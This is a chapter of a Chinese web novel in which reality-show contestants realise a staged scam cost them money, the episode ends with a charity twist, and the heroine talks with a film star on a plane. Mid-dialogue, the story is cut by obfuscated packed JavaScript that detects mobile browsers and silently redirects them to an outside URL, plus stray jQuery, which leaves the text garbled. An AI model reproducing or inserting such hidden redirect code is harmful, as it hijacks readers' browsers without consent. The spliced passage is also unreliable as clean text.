“什么,被骗了?”
火锅最后还是没吃成。
晚上在酒店汇合的四人照例开会,讨论最后一天的计划。
不过在此之前,戈钺浩说出了一个让人悲伤的消息:他们刚刚拿到工资后还没捂热乎,就被人骗走八百块。
缘美甜差点晕过去。
“我俩辛辛苦苦一整天才赚了五百块,你们居然一口气被人骗走了八百!”
初次见面时高傲的男艺人,此刻垂头丧气,像是只剩下两坨灰暗的影子。
苏衍卿倒是没有趁火打劫嘲讽他们,只觉得这件事未免过于巧合,便问:“怎么被骗的,详细说说。”
她生出一丝预感,若有所思地看了眼身旁黑洞洞的镜头,感觉没这么简单。
二人吞吞吐吐地将今天晚上的遭遇补全。
他们拿到钱之后,想要找她俩汇合,却在半路遇到了一个抱着婴儿的老太太。
老太太请求他们帮忙抱一下孩子,说自己要去上厕所。
举手之劳而已,旁边又有镜头藏着,他们没有多想,答应了对方的要求。
结果没想到那个老太太刚走,又来了一对年轻夫妻,上来就说这是他们的儿子。
老太太不在,戈钺浩自然不肯交出孩子,一来二去的就争执起来。
偏偏他俩又戴着口罩和帽子,不像什么好人。
不知不觉有人开始围观。
苏衍卿听到这里:“你们应该给我们打个电话的。”
“我打了!”季葳气愤道,“可是你们俩的电话一直打不通!”
他甚至辗转从经纪人那找节目组要了苏衍卿的电话,结果这俩人一个都不接!
打不通?
苏衍卿拿出手机看了一眼。
信号正常。
“商场里怎么会没信号呢……”缘美甜困惑。
苏衍卿回忆。
傍晚,穿着商场工作人员制服的男人走进她们工作的仓库:“都包好了?这个仓库明天有货要进来,你们把东西搬到里面办公室吧。”
二人不疑有他,将今天包好的小礼品装进几个大箱子里,推着推车跟对方去到商场深处。
“你们打电话来的时候,我们应该在他们的办公室里帮忙收拾东西,可能是有人在里面安装了屏蔽信号的系统。”苏衍卿道。
其余三人齐刷刷吸气:这个骗子团伙居然这么缜密吗?
说到这里,苏衍卿基本上可以确定自己的推测是真的。
她幽幽看了一眼旁边的镜头:“普通骗子肯定做不到这样,这大概是秦制片找来的群演。”
“他们觉得我们赚得太多太顺利,影响收视率。”
真人秀嘛,不折腾嘉宾还有什么看点?
“我靠——秦椰这个家伙果然黑心!他就是故意偷走我们的血汗钱!”戈钺浩猛拍大腿。
他这辈子第一次如此心疼八百块。
缘美甜追问:“后来怎么样了?等那个老太太从厕所出来不就行了吗?你们怎么会被骗钱?”
“有路人帮忙去厕所找人,说里面空无一人,那老太太早就跑了。”戈钺浩颓然。
“什么!”
如果不是苏衍卿刚刚推测,他们遇到的是节目组安排的群演,缘美甜听到这里几乎要报警。
“最后那对夫妻拿出户口本,证明这孩子是他们的。非说是我们偷走了他们的孩子,让我们给他们八百块,这件事就算了。”
“那还不如直接查监控,报警也行!”缘美甜气道。
他们又何尝不想呢?
戈钺浩摇头:“如果真跟他们继续纠缠,我们的身份肯定会暴露的。”
秦椰的综艺收视率一向很高,要是因为这个被节目组淘汰,谁能甘心?
难怪。
“秦制片安排这些人,就是掐准了这一点吧?”
众人齐刷刷看向镜头,像是在与那边的人对视,每个人的眼神都很凶恶。
镜头另一边的秦椰端着咖啡:“那咋了。”
没矛盾的综艺谁看啊。
缘美甜勉强打起精神安慰大家:“没事,就算少了八百,我们今天的收入扣除吃饭和房费,还是有结余的。”
“输赢什么的无所谓啦,只要不流落街头就好了。”
苏衍卿也道:“明天要是再遇到这样的群演,直接跑路。”
戈钺浩和季葳虽然不忿,但也知道这笔钱不可能拿回来了,咬牙点头:“好!”
录制的最后一天。
众人一边打工,一边警惕防备节目组派来的群演。
然而,今天节目组并没有作妖。
小队傍晚收工,收拾好自己的行李,跟着节目组的车来到机场休息室。
他们终于见到了另一队嘉宾。
也不知道这几天经历了什么,神情与他们如出一辙的萎靡。
两厢重逢,恨不得抱头痛哭。
“秦制片真不是人……”
“是啊,这几天我们快要饿死了……差点就上街讨饭……”
两边才互相诉苦了没几句,导演带着摄像进来,好似完全没有看到嘉宾们杀人的目光。
“恭喜各位顺利结束冒险,经过三天的旅程,让我们来看一看两队的结余各是多少——首先是我们的红队!”
丁煜珏有气无力地举手:“三百二十三。”
突然来到一个陌生的城市,他们又不像苏衍卿那么了解零工市场,走了不少弯路,还险些饿死街头。
导演的语气保持轻快:“哇哦,真不错,那么蓝队呢?”
队长戈钺浩低头确认了一下,给出确切数字。
“一千二。”
其实前两天的结余很少,主要是今天刚拿到的工资撑住了场面。
“多少!”
红队震惊了。
朔玲玲抓住缘美甜疯狂摇晃:“你还说你们这几天过得苦!”
结果在偷偷开路虎!
镜头面前,缘美甜艰难挣扎:“你……听我……解释……”
梁弘笑容苦涩。
“秦制片找到我的时候,我还以为这是个旅游节目。”
“如果下一期还是这样,我这老胳膊老腿的还是不参加了吧。”
他不像年轻人那么需要曝光机会。
与其拼一把,倒不如放过自己。
“别呀,”导演忙道,“我保证下一期节目是轻松快乐的休闲向,绝对不会像这一期这么辛苦。”
“那导演,我们赚来的资金有什么用吗?”季葳乖巧举手询问。
导演赞许地看他一眼,继续推进流程。
“两队剩余资金共计一千五百二十三,将会成为帮助贫困山区儿童上学的启动资金!”
“下一期节目,嘉宾们将化身采购员,为贫困儿童们的上学所需采购物资!”
此话一出,本就身心俱疲的嘉宾大为不满。
“就一千五能采购啥啊!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126746|196110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“别太丢人了……”
导演笑眯眯地补充:“当然不是一千五啦!我们的赞助商表示,不管嘉宾们最后余额是多少,他们都将在后面加上两个零!”
“所以,下周嘉宾们可以用于采购的资金为十五万两千三百元!感谢赞助商XXX的大力支持……”
这还差不多。
朔玲玲朝着蓝队感叹:“幸好你们赚得多,不然采购资金只有几万块也蛮丢人的。”
苏衍卿:“不会的,就算捐得再少,也是心意。”
朔玲玲愣了一下,笑道:“也是。”
戈钺浩不甘心地嘀咕:“如果不是你们节目组骗了我们八百,我们应该有二十多万资金……”
可惜,导演组绝不会承认那几个人是他们安排的。
第一期节目录制结束,嘉宾们原地解散。
苏衍卿早在前几天就定好了回棋市的机票,这次不是节目组出钱,她果断定了最便宜的经济舱,能省一点是一点。
出乎意料的是,晏息辞也没有选择商务舱。
苏衍卿默默盯着在自己身旁坐下的影帝,不明白这位想干什么。
“表现不错,播出应该能吸到不少粉。”晏息辞低声道。
苏衍卿:“……”
她怀疑影帝在嘲讽自己。
但她没办法从对方脸上看出端倪,只好当他说的是真心话。
她低头翻找眼罩和耳塞,并没有露出欣喜的情绪,轻飘飘地道:“等播出再看吧。”
她深知,自己的角色定位是炮灰,就算表现好也没用。
晏息辞却觉得她太悲观了。
这两天他将对方的一举一动都看在眼里。
虽然有秦椰的要求,但苏衍卿并没有一味地听从对方,添乱搞事。
一方面她嘴上将人气得跳脚。
另一方面做事时却十分靠谱,赫然是整个小队的灵魂人物。
这样嘴硬心软的人物,必不可少会惹来争议,但也一定会吸引到观众的注意力。
晏息辞已经意识到自己先前误会了对方。
她并没有为了眼前这点小利放弃自己的未来,而是在困境里寻找翻身的机会。
为了表达歉意,他将平板点开递给她:“新的通告。”
苏衍卿本来还以为自己回家可以休息一段时间,等待第二期节目录制,没想到下一份工作这就来了。
真是痛并快乐着。
“又是你帮我找的?”她一边看一边轻声问。
对影帝来说,帮她找几个通告,或许只是他为了自己更好地体验生活。
但她也不能真将这一切当做理所当然。
晏息辞无意几次三番地提及之前那场不愉快,只是道:“你不是缺钱?”
苏衍卿的目光从平板挪到他的脸上。
从这么近的距离看过去,俊美得很有冲击力。
晏息辞没有用他的“易容术”,只戴了帽子和口罩遮挡,一般人也想象不到,会在经济舱看见晏影帝。
可能是对视时间有点长了,晏息辞疑惑地眨了眨眼。
他的眼窝偏深,专注看人的时候自带深情的错觉,苏衍卿本能地错开视线。
“是的,我很缺钱,不过我可以自己赚。”
“别误会。”
晏息辞意识到自己的问题有歧义,将帽檐拉得更低,声音近乎耳语。
“我的意思是,如果你缺钱,应该不会拒绝我帮你找通告。”